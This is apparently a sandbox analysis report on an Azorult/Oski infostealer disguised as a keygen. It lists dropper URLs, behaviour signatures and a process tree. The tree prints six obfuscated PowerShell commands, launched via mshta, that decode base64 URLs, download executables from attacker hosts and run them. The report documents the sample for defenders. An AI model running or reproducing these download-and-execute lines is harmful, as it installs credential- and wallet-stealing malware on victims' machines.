azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
24s
max time network
152s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (130) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

11 4004 powershell.exe
13 4004 powershell.exe
15 2448 powershell.exe
17 2448 powershell.exe
18 4412 powershell.exe
21 4412 powershell.exe
Downloads MZ/PE file

flow	pid	process
11	4004	powershell.exe
13	4004	powershell.exe
15	2448	powershell.exe
17	2448	powershell.exe
18	4412	powershell.exe
21	4412	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exetvu.exelaj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefgi.exelaj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefgi.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1260	Keygen.exe
5028	tvu.exe
4184	laj.exe
4444	FVjhgtresfdbv.exe
4556	NHtrdsaghfDF.exe
1576	fgi.exe
3476	laj.exe
4596	FVjhgtresfdbv.exe
4764	NHtrdsaghfDF.exe
4844	FVjhgtresfdbv.exe
4872	NHtrdsaghfDF.exe
4972	fgi.exe
3748	FVjhgtresfdbv.exe
4188	NHtrdsaghfDF.exe

Loads dropped DLL 6 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exe

pid process

4596 FVjhgtresfdbv.exe
3748 FVjhgtresfdbv.exe
4596 FVjhgtresfdbv.exe
3748 FVjhgtresfdbv.exe
4596 FVjhgtresfdbv.exe
3748 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4596	FVjhgtresfdbv.exe
3748	FVjhgtresfdbv.exe
4596	FVjhgtresfdbv.exe
3748	FVjhgtresfdbv.exe
4596	FVjhgtresfdbv.exe
3748	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

laj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefgi.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4184 set thread context of 3476	4184	laj.exe	laj.exe
PID 4444 set thread context of 4596	4444	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4556 set thread context of 4764	4556	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 1576 set thread context of 4972	1576	fgi.exe	fgi.exe
PID 4844 set thread context of 3748	4844	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4872 set thread context of 4188	4872	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2956 timeout.exe
1052 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
2956	timeout.exe
1052	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2448	powershell.exe
4004	powershell.exe
2720	powershell.exe
3796	powershell.exe
4004	powershell.exe
4004	powershell.exe
2448	powershell.exe
2448	powershell.exe
2720	powershell.exe
2720	powershell.exe
3796	powershell.exe
3796	powershell.exe
4412	powershell.exe
4412	powershell.exe
4432	powershell.exe
4432	powershell.exe
4004	powershell.exe
2448	powershell.exe
2720	powershell.exe
3796	powershell.exe
4412	powershell.exe
4432	powershell.exe
4412	powershell.exe
4432	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

laj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefgi.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4184 laj.exe
4444 FVjhgtresfdbv.exe
4556 NHtrdsaghfDF.exe
1576 fgi.exe
4844 FVjhgtresfdbv.exe
4872 NHtrdsaghfDF.exe

pid	process
4184	laj.exe
4444	FVjhgtresfdbv.exe
4556	NHtrdsaghfDF.exe
1576	fgi.exe
4844	FVjhgtresfdbv.exe
4872	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exelaj.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exefgi.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1260 Keygen.exe
4184 laj.exe
4444 FVjhgtresfdbv.exe
4556 NHtrdsaghfDF.exe
1576 fgi.exe
4844 FVjhgtresfdbv.exe
4872 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (130) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exelaj.exepowershell.exe

description	pid	process	target process
PID 3644 wrote to memory of 904	3644	Keygen — копия (130) — копия.exe	cmd.exe
PID 3644 wrote to memory of 904	3644	Keygen — копия (130) — копия.exe	cmd.exe
PID 3644 wrote to memory of 904	3644	Keygen — копия (130) — копия.exe	cmd.exe
PID 904 wrote to memory of 1260	904	cmd.exe	Keygen.exe
PID 904 wrote to memory of 1260	904	cmd.exe	Keygen.exe
PID 904 wrote to memory of 1260	904	cmd.exe	Keygen.exe
PID 904 wrote to memory of 1584	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 1584	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 1584	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 3196	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 3196	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 3196	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 2956	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 2956	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 2956	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 2160	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 2160	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 2160	904	cmd.exe	mshta.exe
PID 1584 wrote to memory of 2448	1584	mshta.exe	powershell.exe
PID 1584 wrote to memory of 2448	1584	mshta.exe	powershell.exe
PID 1584 wrote to memory of 2448	1584	mshta.exe	powershell.exe
PID 3196 wrote to memory of 2720	3196	mshta.exe	powershell.exe
PID 3196 wrote to memory of 2720	3196	mshta.exe	powershell.exe
PID 3196 wrote to memory of 2720	3196	mshta.exe	powershell.exe
PID 904 wrote to memory of 4008	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4008	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4008	904	cmd.exe	mshta.exe
PID 2160 wrote to memory of 4004	2160	mshta.exe	powershell.exe
PID 2160 wrote to memory of 4004	2160	mshta.exe	powershell.exe
PID 2160 wrote to memory of 4004	2160	mshta.exe	powershell.exe
PID 4008 wrote to memory of 3796	4008	mshta.exe	powershell.exe
PID 4008 wrote to memory of 3796	4008	mshta.exe	powershell.exe
PID 4008 wrote to memory of 3796	4008	mshta.exe	powershell.exe
PID 904 wrote to memory of 1052	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 1052	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 1052	904	cmd.exe	timeout.exe
PID 904 wrote to memory of 4276	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4276	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4276	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4308	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4308	904	cmd.exe	mshta.exe
PID 904 wrote to memory of 4308	904	cmd.exe	mshta.exe
PID 4276 wrote to memory of 4412	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4412	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4412	4276	mshta.exe	powershell.exe
PID 4308 wrote to memory of 4432	4308	mshta.exe	powershell.exe
PID 4308 wrote to memory of 4432	4308	mshta.exe	powershell.exe
PID 4308 wrote to memory of 4432	4308	mshta.exe	powershell.exe
PID 4004 wrote to memory of 5028	4004	powershell.exe	tvu.exe
PID 4004 wrote to memory of 5028	4004	powershell.exe	tvu.exe
PID 4004 wrote to memory of 5028	4004	powershell.exe	tvu.exe
PID 2448 wrote to memory of 4184	2448	powershell.exe	laj.exe
PID 2448 wrote to memory of 4184	2448	powershell.exe	laj.exe
PID 2448 wrote to memory of 4184	2448	powershell.exe	laj.exe
PID 4184 wrote to memory of 4444	4184	laj.exe	FVjhgtresfdbv.exe
PID 4184 wrote to memory of 4444	4184	laj.exe	FVjhgtresfdbv.exe
PID 4184 wrote to memory of 4444	4184	laj.exe	FVjhgtresfdbv.exe
PID 4184 wrote to memory of 4556	4184	laj.exe	NHtrdsaghfDF.exe
PID 4184 wrote to memory of 4556	4184	laj.exe	NHtrdsaghfDF.exe
PID 4184 wrote to memory of 4556	4184	laj.exe	NHtrdsaghfDF.exe
PID 4412 wrote to memory of 1576	4412	powershell.exe	fgi.exe
PID 4412 wrote to memory of 1576	4412	powershell.exe	fgi.exe
PID 4412 wrote to memory of 1576	4412	powershell.exe	fgi.exe
PID 4184 wrote to memory of 3476	4184	laj.exe	laj.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (130) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (130) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1216.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (130) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:904

C:\Users\Admin\AppData\Local\Temp\1216.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1260

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1584

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2448

C:\Users\Public\laj.exe
"C:\Users\Public\laj.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4184

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4444

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4596

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4556

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4764

C:\Users\Public\laj.exe
"C:\Users\Public\laj.exe"
6⤵
- Executes dropped EXE
PID:3476

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3196

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2720

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2956

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004

C:\Users\Public\tvu.exe
"C:\Users\Public\tvu.exe"
5⤵
- Executes dropped EXE
PID:5028

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3796

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1052

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4412

C:\Users\Public\fgi.exe
"C:\Users\Public\fgi.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1576

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4844

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3748

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4872

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4188

C:\Users\Public\fgi.exe
"C:\Users\Public\fgi.exe"
6⤵
- Executes dropped EXE
PID:4972

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1216.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4432

Network

